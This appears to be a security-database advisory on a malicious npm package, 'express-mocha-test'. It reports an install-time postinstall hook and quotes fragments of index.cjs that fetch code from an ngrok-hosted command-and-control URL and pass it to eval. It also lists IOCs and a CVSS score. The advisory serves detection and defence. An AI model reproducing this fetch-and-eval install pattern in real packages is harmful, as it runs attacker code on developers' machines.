VDB
GCVE-110-OSM-2026-6921
GCVE-110-OSM-2026-6921
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration, code execution, network activity, install-time execution.
ENTRY
scripts/postinstall.cjs (install-hook: node scripts/postinstall.cjs)
- Install Hook Executes Local JS File in package.json
DESTINATION
- custom-c2: https://2939e69fc408.ngrok-free.app/stats (primary, plaintext) in index.cjs
- custom-c2: 2939e69fc408.ngrok-free.app (plaintext) in index.cjs
EXFIL
- Fetch and Eval/Exec in index.cjs: "fetch("https://2939e69fc408.ngrok-free.app/stats"); const data = await response...."
- Network Request in index.cjs: "fetch("https:"
ADDITIONAL FINDINGS
- Dynamic Code Execution in index.cjs: "eval(data)"
- Ngrok Tunneling Service in index.cjs: "ngrok-free.app"
- Brand New Package
PAYLOAD FILES
index.cjs
INDICATORS (IOCs)
- urls: http://tjholowaychuk.com
- domains: vision-media.ca, tjholowaychuk.com, somethingdoug.com
- emails: tj@vision-media.ca, doug@somethingdoug.com
- payloadFileHash: 078fb426fe2bf73a75d8f04bead875859fb62ab254a71b6ca5a1f41cf4b704ea
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | express-mocha-test | all (affected) | — |
Aliases
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